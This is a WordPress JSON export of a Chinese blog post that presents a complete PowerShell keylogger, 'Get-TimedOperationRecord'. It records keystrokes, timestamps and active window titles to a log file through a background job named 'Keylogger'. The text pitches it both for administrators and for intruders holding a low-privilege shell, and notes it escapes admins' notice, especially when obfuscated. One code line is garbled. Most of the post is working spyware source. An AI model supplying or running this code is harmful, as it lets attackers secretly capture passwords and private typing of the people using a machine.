{"id":33512,"date":"2013-10-05T15:54:40","date_gmt":"2013-10-05T14:54:40","guid":{"rendered":"http:\/\/www.fuhaijun.com\/?p=33512"},"modified":"2024-11-06T11:18:46","modified_gmt":"2024-11-06T03:18:46","slug":"powershell%e5%ae%9a%e6%97%b6%e8%ae%b0%e5%bd%95%e6%93%8d%e4%bd%9c%e7%b3%bb%e7%bb%9f%e8%a1%8c%e4%b8%ba","status":"publish","type":"post","link":"https:\/\/www.fuhaijun.com\/?p=33512","title":{"rendered":"PowerShell\u5b9a\u65f6\u8bb0\u5f55\u64cd\u4f5c\u7cfb\u7edf\u884c\u4e3a"},"content":{"rendered":"<p>&#160;&#160;&#160;&#160; \u4f5c\u4e3a\u7cfb\u7edf\u7ba1\u7406\u5458\uff0c\u6709\u4e9b\u65f6\u5019\u662f\u9700\u8981\u8bb0\u5f55\u7cfb\u7edf\u4e2d\u7684\u5176\u4ed6\u7528\u6237\u7684\u4e00\u4e9b\u64cd\u4f5c\u884c\u4e3a\u7684\uff0c\u4f8b\u5982\uff1a\u5f53\u7cfb\u7edf\u7ba1\u7406\u5458\u6000\u7591\u7cfb\u7edf\u5b58\u5728\u6f0f\u6d1e\uff0c\u4e14\u5df2\u7ecf\u6709\u88ab\u690d\u5165\u540e\u95e8\u6216\u8005\u521b\u5efa\u9690\u85cf\u8d26\u6237\u65f6\uff0c\u5c31\u9700\u8981\u5bf9\u66fe\u7ecf\u767b\u9646\u7684\u7528\u6237\u8fdb\u884c\u76d1\u63a7\uff0c\u4fdd\u5b58\u5176\u6253\u5f00\u6216\u8005\u64cd\u4f5c\u8fc7\u7684\u6587\u4ef6\u3002\u6216\u8005\u5728\u53e6\u5916\u4e00\u4e2a\u573a\u666f\uff0c\u5f53\u9ed1\u5ba2\u62ff\u4e0b\u4e00\u4e2a\u666e\u901a\u6743\u9650\u7684shell\u4e4b\u540e\uff0c\u60f3\u770b\u770b\u6700\u8fd1\u6709\u54ea\u4e9b\u7528\u6237\u767b\u9646\u8fc7\uff0c\u64cd\u4f5c\u8fc7\u4ec0\u4e48\uff0c\u4ee5\u4fbf\u6839\u636e\u7528\u6237\u4e60\u60ef\u91c7\u53d6\u8fdb\u4e00\u6b65\u884c\u52a8\u83b7\u53d6\u66f4\u9ad8\u6743\u9650\uff0c\u8fd9\u4e2a\u65f6\u5019\u8bb0\u5f55\u7528\u6237\u884c\u4e3a\u5c31\u663e\u5f97\u5f88\u91cd\u8981\u4e86\u3002<\/p>\n<p>&#160;&#160;&#160;&#160;&#160; \u53ef\u80fd\u6709\u8bfb\u8005\u89c9\u5f97\u6b64\u65f6\u5b89\u88c5\u4e2a\u76d1\u63a7\u8f6f\u4ef6\u4e0d\u5c31\u884c\u4e86\u4e48\uff0c\u62dc\u6258\uff0c\u4f60\u5165\u4fb5\u522b\u4eba\u7684\u7cfb\u7edf\uff0c\u4f60\u88c5\u4e2a\u76d1\u63a7\u8f6f\u4ef6\uff0c\u4f60\u628a\u7ba1\u7406\u5458\u8bd5\u505a\u65e0\u7269\u4e48\uff1f\u8fd9\u4e2a\u65f6\u5019PowerShell\u8fd9\u4e2avista\u53ca\u5176\u4e4b\u540eWindows\u64cd\u4f5c\u7cfb\u7edf\u90fd\u81ea\u5e26\u7684\u5f3a\u5927\u7684\u547d\u4ee4\u884c\u5c31\u6709\u4e86\u7528\u5904\uff0c\u7cfb\u7edf\u81ea\u5e26\uff0c\u4e0d\u4f1a\u88ab\u7ba1\u7406\u5458\u53d1\u73b0\u5f02\u5e38\uff0c\u811a\u672c\u4e0d\u7528\u7f16\u8bd1\uff0c\u5982\u679c\u811a\u672c\u5185\u5bb9\u518d\u52a0\u4e2a\u5bc6\uff0c\u4ed6\u4eec\u66f4\u731c\u4e0d\u51fa\u662f\u5e72\u4ec0\u4e48\u7528\u7684\uff0c\u563f\u563f\u3002\u5982\u679c\u8981\u8bb0\u5f55\u51e0\u4e2a\u7279\u6027\u7528\u4e8e\u8bb0\u5f55\u5565\u65f6\u5019\u5e72\u4e86\u4ec0\u4e48\uff0c\u65e0\u975e\u8981\u8bb0\u5f55\u7684\u6709\u51e0\u6837\u5185\u5bb9\uff1a\u64cd\u4f5c\uff0c\u54ea\u4e2a\u6587\u4ef6\u6216\u7a0b\u5e8f\uff0c\u65f6\u95f4\u3002\u6709\u8fd9\u51e0\u4e2a\u7279\u70b9\u5c31\u57fa\u672c\u4e0a\u53ef\u4ee5\u638c\u63e1\u7528\u6237\u7684\u64cd\u4f5c\u4e60\u60ef\u4e86\u3002<\/p>\n<p>&#160;&#160;&#160;&#160;&#160; \u4ee3\u7801\u4e0d\u7b97\u592a\u96be\u5c31\u4e0d\u9010\u53e5\u89e3\u91ca\u4e86\uff0c\u6709\u5565\u95ee\u9898\u7684\u8bfb\u8005\u53ef\u4ee5\u7ed9\u6211\u7559\u8a00\u8be2\u95ee\uff0c\u57fa\u672c\u4e0a\u5173\u952e\u8bed\u53e5\u90fd\u6709\u6ce8\u91ca\u7684\u3002\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n<pre style=\"width: 190.21%; font: 9pt verdana, fixedsys, verdana, tahoma; height: 3453px\"><span class=\"line_num\">        =====\u6587\u4ef6\u540d\uff1aGet-TimedOperationRecord.ps1=====<\/span>\n<font color=\"#0000ff\">function<\/font> Get-TimedOperationRecord {\n<font color=\"#008000\">&lt;#\n    Author:fuhj(powershell#live.cn ,http:\/\/fuhaijun.com) \n\tLogs keys pressed, time and the active window.\n.Parameter LogPath\n    Specifies the path where pressed key details will be logged. By default, keystroke are logged to '$($Env:TEMP)\\key.log'.\n.Parameter CollectionInterval\n    Specifies the interval in minutes to capture keystrokes. By default keystroke are captured indefinitely.\n.Example\n    Get-TimedOperationRecord -LogPath C:\\key.log\n.Example\n    Get-TimedOperationRecord -CollectionInterval 20\n#&gt;<\/font>\n    [CmdletBinding()] Param (\n        [Parameter(Position = 0)]\n        [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})]\n        [String]\n        $LogPath = &quot;$($Env:TEMP)\\key.log&quot;,\n\n        [Parameter(Position = 1)]\n        [UInt32]\n        $CollectionInterval\n    )\n\n    $LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)\n\n    <font color=\"#008080\">Write-Verbose<\/font> <font color=\"#ff00ff\">&quot;Logging keystrokes to $LogPath&quot;<\/font>\n\n    $Initilizer = {\n        $LogPath = <font color=\"#ff00ff\">'REPLACEME'<\/font>\n\n        '&quot;TypedKey&quot;,&quot;Time&quot;,&quot;WindowTitle&quot;' | Out-File -FilePath $LogPath -Encoding unicode\n\n        <font color=\"#0000ff\">function<\/font> KeyLog {\n            [Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null\n\n            <font color=\"#0000ff\">try<\/font>\n            {\n                $ImportDll = [User32]\n            }\n            <font color=\"#0000ff\">catch<\/font>\n            {\n                $DynAssembly = <font color=\"#008080\">New-Object<\/font> System.Reflection.AssemblyName(<font color=\"#ff00ff\">'Win32Lib'<\/font>)\n                $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)\n                $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(<font color=\"#ff00ff\">'Win32Lib'<\/font>, $False)\n                $TypeBuilder = $ModuleBuilder.DefineType('User32', 'Public, Class')\n\n                $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([<font color=\"#0000ff\">String<\/font>]))\n                $FieldArray = [Reflection.FieldInfo[]] @(\n                    [Runtime.InteropServices.DllImportAttribute].GetField(<font color=\"#ff00ff\">'EntryPoint'<\/font>),\n                    [Runtime.InteropServices.DllImportAttribute].GetField(<font color=\"#ff00ff\">'ExactSpelling'<\/font>),\n                    [Runtime.InteropServices.DllImportAttribute].GetField(<font color=\"#ff00ff\">'SetLastError'<\/font>),\n                    [Runtime.InteropServices.DllImportAttribute].GetField(<font color=\"#ff00ff\">'PreserveSig'<\/font>),\n                    [Runtime.InteropServices.DllImportAttribute].GetField(<font color=\"#ff00ff\">'CallingConvention'<\/font>),\n                    [Runtime.InteropServices.DllImportAttribute].GetField(<font color=\"#ff00ff\">'CharSet'<\/font>)\n                )\n\n                $PInvokeMethod = $TypeBuilder.DefineMethod('GetAsyncKeyState', 'Public, Static', [Int16], [Type[]] @([Windows.Forms.Keys]))\n                $FieldValueArray = [Object[]] @(\n                    'GetAsyncKeyState',\n                    $True,\n                    $False,\n                    $True,\n                    [Runtime.InteropServices.CallingConvention]::Winapi,\n                    [Runtime.InteropServices.CharSet]::Auto\n                )\n                $CustomAttribute = <font color=\"#008080\">New-Object<\/font> Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)\n                $PInvokeMethod.SetCustomAttribute($CustomAttribute)\n\n                $PInvokeMethod = $TypeBuilder.DefineMethod('GetKeyboardState', 'Public, Static', [Int32], [Type[]] @([Byte[]]))\n                $FieldValueArray = [Object[]] @(\n                    <font color=\"#ff00ff\">'GetKeyboardState'<\/font>,\n                    $True,\n                    $False,\n                    $True,\n                    [Runtime.InteropServices.CallingConvention]::Winapi,\n                    [Runtime.InteropServices.CharSet]::Auto\n                )\n                $CustomAttribute = <font color=\"#008080\">New-Object<\/font> Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)\n                $PInvokeMethod.SetCustomAttribute($CustomAttribute)\n\n                $PInvokeMethod = $TypeBuilder.DefineMethod(<font color=\"#ff00ff\">'MapVirtualKey'<\/font>, 'Public,Static', [Int32], [Type[]] @([Int32], [Int32]))\n                $FieldValueArray = [Object[]] @(\n                    <font color=\"#ff00ff\">'MapVirtualKey'<\/font>,\n                    $False,\n                    $False,\n                    $True,\n                    [Runtime.InteropServices.CallingConvention]::Winapi,\n                    [Runtime.InteropServices.CharSet]::Auto\n                )\n                $CustomAttribute = <font color=\"#008080\">New-Object<\/font> Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)\n                $PInvokeMethod.SetCustomAttribute($CustomAttribute)\n\n                $PIn$PInvokeMethod = $TypeBuilder.DefineMethod('ToUnicode', 'Public, Static', [Int32],\n                    [Type[]] @([UInt32], [UInt32], [Byte[]], [Text.StringBuilder], [Int32], [UInt32]))\n                $FieldValueArray = [Object[]] @(\n                    <font color=\"#ff00ff\">'ToUnicode'<\/font>,\n                    $False,\n                    $False,\n                    $True,\n                    [Runtime.InteropServices.CallingConvention]::Winapi,\n                    [Runtime.InteropServices.CharSet]::Auto\n                )\n                $CustomAttribute = <font color=\"#008080\">New-Object<\/font> Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)\n                $PInvokeMethod.SetCustomAttribute($CustomAttribute)\n\n                $PInvokeMethod = $TypeBuilder.DefineMethod(<font color=\"#ff00ff\">'GetForegroundWindow'<\/font>, 'Public, Static', [IntPtr], [Type[]] @())\n                $FieldValueArray = [Object[]] @(\n                    <font color=\"#ff00ff\">'GetForegroundWindow'<\/font>,\n                    $True,\n                    $False,\n                    $True,\n                    [Runtime.InteropServices.CallingConvention]::Winapi,\n                    [Runtime.InteropServices.CharSet]::Auto\n                )\n                $CustomAttribute = <font color=\"#008080\">New-Object<\/font> Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)\n                $PInvokeMethod.SetCustomAttribute($CustomAttribute)\n\n                $ImportDll = $TypeBuilder.CreateType()\n            }\n\n            <font color=\"#008080\">Start-Sleep<\/font> -Milliseconds 40\n\n                <font color=\"#0000ff\">try<\/font>\n                {\n\n<font color=\"#008000\">                    #loop through typeable characters to see which is pressed<\/font>\n                    <font color=\"#0000ff\">for<\/font> ($TypeableChar = 1; $TypeableChar <font color=\"#0000ff\">-le<\/font> 254; $TypeableChar++)\n                    {\n                        $VirtualKey = $TypeableChar\n                        $KeyResult = $ImportDll::GetAsyncKeyState($VirtualKey)\n\n<font color=\"#008000\">                        #if the key is pressed<\/font>\n                        <font color=\"#0000ff\">if<\/font> (($KeyResult <font color=\"#0000ff\">-band<\/font> 0x8000) <font color=\"#0000ff\">-eq<\/font> 0x8000)\n                        {\n\n<font color=\"#008000\">                            #check for keys not mapped by virtual keyboard<\/font>\n                            $LeftShift    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey) <font color=\"#0000ff\">-band<\/font> 0x8000) <font color=\"#0000ff\">-eq<\/font> 0x8000\n                            $RightShift   = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RShiftKey) <font color=\"#0000ff\">-band<\/font> 0x8000) <font color=\"#0000ff\">-eq<\/font> 0x8000\n                            $LeftCtrl     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LControlKey) <font color=\"#0000ff\">-band<\/font> 0x8000) <font color=\"#0000ff\">-eq<\/font> 0x8000\n                            $RightCtrl    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RControlKey) <font color=\"#0000ff\">-band<\/font> 0x8000) <font color=\"#0000ff\">-eq<\/font> 0x8000\n                            $LeftAlt      = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LMenu) <font color=\"#0000ff\">-band<\/font> 0x8000) <font color=\"#0000ff\">-eq<\/font> 0x8000\n                            $RightAlt     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RMenu) <font color=\"#0000ff\">-band<\/font> 0x8000) <font color=\"#0000ff\">-eq<\/font> 0x8000\n                            $TabKey       = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Tab) <font color=\"#0000ff\">-band<\/font> 0x8000) <font color=\"#0000ff\">-eq<\/font> 0x8000\n                            $SpaceBar     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Space) <font color=\"#0000ff\">-band<\/font> 0x8000) <font color=\"#0000ff\">-eq<\/font> 0x8000\n                            $DeleteKey    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Delete) <font color=\"#0000ff\">-band<\/font> 0x8000) <font color=\"#0000ff\">-eq<\/font> 0x8000\n                            $EnterKey     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::<font color=\"#0000ff\">Return<\/font>) <font color=\"#0000ff\">-band<\/font> 0x8000) <font color=\"#0000ff\">-eq<\/font> 0x8000\n                            $BackSpaceKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Back) <font color=\"#0000ff\">-band<\/font> 0x8000) <font color=\"#0000ff\">-eq<\/font> 0x8000\n                            $LeftArrow    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Left) <font color=\"#0000ff\">-band<\/font> 0x8000) <font color=\"#0000ff\">-eq<\/font> 0x8000\n                            $RightArrow   = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Right) <font color=\"#0000ff\">-band<\/font> 0x8000) <font color=\"#0000ff\">-eq<\/font> 0x8000\n                            $UpArrow      = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Up) <font color=\"#0000ff\">-band<\/font> 0x8000) <font color=\"#0000ff\">-eq<\/font> 0x8000\n                            $DownArrow    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Down) <font color=\"#0000ff\">-band<\/font> 0x8000) <font color=\"#0000ff\">-eq<\/font> 0x8000\n                            $LeftMouse    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LButton) <font color=\"#0000ff\">-band<\/font> 0x8000) <font color=\"#0000ff\">-eq<\/font> 0x8000\n                            $RightMouse   = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton) <font color=\"#0000ff\">-band<\/font> 0x8000) <font color=\"#0000ff\">-eq<\/font> 0x8000\n\n                            if ($LeftShift -or $RightShift) {$LogOutput += '[Shift]'}\n                            if ($LeftCtrl  -or $RightCtrl)  {$LogOutput += '[Ctrl]'}\n                            if ($LeftAlt   -or $RightAlt)   {$LogOutput += '[Alt]'}\n                            if ($TabKey)       {$LogOutput += '[Tab]'}\n                            if ($SpaceBar)     {$LogOutput += '[SpaceBar]'}\n                            if ($DeleteKey)    {$LogOutput += '[Delete]'}\n                            if ($EnterKey)     {$LogOutput += '[Enter]'}\n                            if ($BackSpaceKey) {$LogOutput += '[Backspace]'}\n                            if ($LeftArrow)    {$LogOutput += '[Left Arrow]'}\n                            if ($RightArrow)   {$LogOutput += '[Right Arrow]'}\n                            if ($UpArrow)      {$LogOutput += '[Up Arrow]'}\n                            if ($DownArrow)    {$LogOutput += '[Down Arrow]'}\n                            if ($LeftMouse)    {$LogOutput += '[Left Mouse]'}\n                            if ($RightMouse)   {$LogOutput += '[Right Mouse]'}\n\n<font color=\"#008000\">                            #check for capslock<\/font>\n                            if ([Console]::CapsLock) {$LogOutput += '[Caps Lock]'}\n\n                            $MappedKey = $ImportDll::MapVirtualKey($VirtualKey, 3)\n                            $KeyboardState = <font color=\"#008080\">New-Object<\/font> Byte[] 256\n                            $CheckKeyboardState = $ImportDll::GetKeyboardState($KeyboardState)\n\n<font color=\"#008000\">                            #create a stringbuilder object<\/font>\n                            $StringBuilder = <font color=\"#008080\">New-Object<\/font> -TypeName System.Text.StringBuilder;\n                            $UnicodeKey = $ImportDll::ToUnicode($VirtualKey, $MappedKey, $KeyboardState, $StringBuilder, $StringBuilder.Capacity, 0)\n\n<font color=\"#008000\">                            #convert typed characters<\/font>\n                            <font color=\"#0000ff\">if<\/font> ($UnicodeKey <font color=\"#0000ff\">-gt<\/font> 0) {\n                                $TypedCharacter = $StringBuilder.ToString()\n                                $LogOutput += ('['+ $TypedCharacter +']')\n                            }\n\n<font color=\"#008000\">                            #get the title of the foreground window<\/font>\n                            $TopWindow = $ImportDll::GetForegroundWindow()\n                            $WindowTitle = (<font color=\"#008080\">Get-Process<\/font> | <font color=\"#008080\">Where-Object<\/font> { $_.MainWindowHandle <font color=\"#0000ff\">-eq<\/font> $TopWindow }).MainWindowTitle\n\n<font color=\"#008000\">                            #get the current DTG<\/font>\n                            $TimeStamp = (<font color=\"#008080\">Get-Date<\/font> -Format dd\/MM\/yyyy:HH:mm:ss:ff)\n\n<font color=\"#008000\">                            #Create a custom object to store results<\/font>\n                            $ObjectProperties = @{<font color=\"#ff00ff\">'Key Typed'<\/font> = $LogOutput;\n                                                  <font color=\"#ff00ff\">'Window Title'<\/font> = $WindowTitle;\n                                                  <font color=\"#ff00ff\">'Time'<\/font> = $TimeStamp}\n                            $ResultsObject = <font color=\"#008080\">New-Object<\/font> -TypeName PSObject -Property $ObjectProperties\n                            $CSVEntry = ($ResultsObject | ConvertTo-Csv -NoTypeInformation)[1]\n<font color=\"#008000\">                            #return results<\/font>\n                            <font color=\"#008080\">Out-File<\/font> -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode\n\n                        }\n                    }\n                }\n                <font color=\"#0000ff\">catch<\/font> {}\n            }\n        }\n\n    $Initilizer = [ScriptBlock]::Create(($Initilizer <font color=\"#0000ff\">-replace<\/font> <font color=\"#ff00ff\">'REPLACEME'<\/font>, $LogPath))\n\n    Start-Job -InitializationScript $Initilizer -ScriptBlock {<font color=\"#0000ff\">for<\/font> (;;) {Keylog}} -Name Keylogger | <font color=\"#008080\">Out-Null<\/font>\n\n    <font color=\"#0000ff\">if<\/font> ($PSBoundParameters[<font color=\"#ff00ff\">'CollectionInterval'<\/font>])\n    {\n        $Timer = <font color=\"#008080\">New-Object<\/font> Timers.Timer($CollectionInterval * 60 * 1000)\n\n        Register-ObjectEvent -InputObject $Timer -EventName Elapsed -SourceIdentifier ElapsedAction -Action {\n            Stop-Job -Name Keylogger\n            Unregister-Event -SourceIdentifier ElapsedAction\n            $Sender.Stop()\n        } | <font color=\"#008080\">Out-Null<\/font>\n    }\n}<\/pre>\n<p>\u6267\u884c\u65b9\u5f0f\u5982\u4e0b\u56fe\u6240\u793a\uff1a<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"2013-10-05_224047\" border=\"0\" alt=\"2013-10-05_224047\" src=\"http:\/\/www.fuhaijun.com\/wp-content\/uploads\/2013\/10\/20131005_224047.png\" width=\"669\" height=\"86\" \/> <\/p>\n<p>\u6267\u884c\u6548\u679c\uff0c\u4f1a\u5728\u6307\u5b9a\u7684\u76ee\u5f55\u91cc\u751f\u6210log\u6587\u4ef6\uff0c\u5185\u5bb9\u5982\u4e0b\u56fe\u6240\u793a\uff1a<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px\" title=\"image\" border=\"0\" alt=\"image\" src=\"http:\/\/www.fuhaijun.com\/wp-content\/uploads\/2013\/10\/image4.png\" width=\"698\" height=\"484\" \/> <\/p>\n<p>\u80fd\u591f\u770b\u5230\u91cc\u9762\u76f8\u5173\u7684\u51fb\u952e\u52a8\u4f5c\uff0c\u6709\u5174\u8da3\u7684\u8bfb\u8005\u53ef\u4ee5\u731c\u4e00\u4e0b\uff0c\u8fd9\u6bb5\u88ab\u8bb0\u5f55\u7684\u64cd\u4f5c\u90fd\u5e72\u4e86\u4ec0\u4e48\uff0c\u671f\u95f4\u817e\u8baf\u8fd8\u63a8\u4e86\u4e00\u6b21\u5f39\u7a97\u65b0\u95fb\uff0c\u65e0\u803b\u554a\u3002<\/p>\n<p>\u4f5c\u8005: \u4ed8\u6d77\u519b<br \/>\n  <br \/>\u7248\u6743\uff1a\u672c\u6587\u7248\u6743\u5f52\u4f5c\u8005\u6240\u6709 <\/p>\n<p>\u8f6c\u8f7d\uff1a\u6b22\u8fce\u8f6c\u8f7d\uff0c\u4e3a\u4e86\u4fdd\u5b58\u4f5c\u8005\u7684\u521b\u4f5c\u70ed\u60c5\uff0c\u8bf7\u6309\u8981\u6c42\u3010\u8f6c\u8f7d\u3011\uff0c\u8c22\u8c22 <\/p>\n<p>\u8981\u6c42\uff1a\u672a\u7ecf\u4f5c\u8005\u540c\u610f\uff0c\u5fc5\u987b\u4fdd\u7559\u6b64\u6bb5\u58f0\u660e\uff1b\u5fc5\u987b\u5728\u6587\u7ae0\u4e2d\u7ed9\u51fa\u539f\u6587\u8fde\u63a5\u4e14\u4fdd\u8bc1\u5185\u5bb9\u5b8c\u6574!\u5426\u5219\u5fc5\u7a76\u6cd5\u5f8b\u8d23\u4efb! <\/p>\n<p>\u4e2a\u4eba\u7f51\u7ad9: <a href=\"http:\/\/www.fuhaijun.com\/\">http:\/\/www.fuhaijun.com\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>&#160;&#160;&#160;&#160; \u4f5c\u4e3a\u7cfb\u7edf\u7ba1\u7406\u5458\uff0c\u6709\u4e9b\u65f6\u5019\u662f\u9700\u8981\u8bb0\u5f55\u7cfb\u7edf\u4e2d\u7684\u5176\u4ed6\u7528\u6237\u7684\u4e00\u4e9b\u64cd\u4f5c [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[43,1],"tags":[],"class_list":["post-33512","post","type-post","status-publish","format-standard","hentry","category-powershell","category-default"],"_links":{"self":[{"href":"https:\/\/www.fuhaijun.com\/index.php?rest_route=\/wp\/v2\/posts\/33512"}],"collection":[{"href":"https:\/\/www.fuhaijun.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.fuhaijun.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.fuhaijun.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.fuhaijun.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=33512"}],"version-history":[{"count":1,"href":"https:\/\/www.fuhaijun.com\/index.php?rest_route=\/wp\/v2\/posts\/33512\/revisions"}],"predecessor-version":[{"id":33737,"href":"https:\/\/www.fuhaijun.com\/index.php?rest_route=\/wp\/v2\/posts\/33512\/revisions\/33737"}],"wp:attachment":[{"href":"https:\/\/www.fuhaijun.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=33512"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.fuhaijun.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=33512"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.fuhaijun.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=33512"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}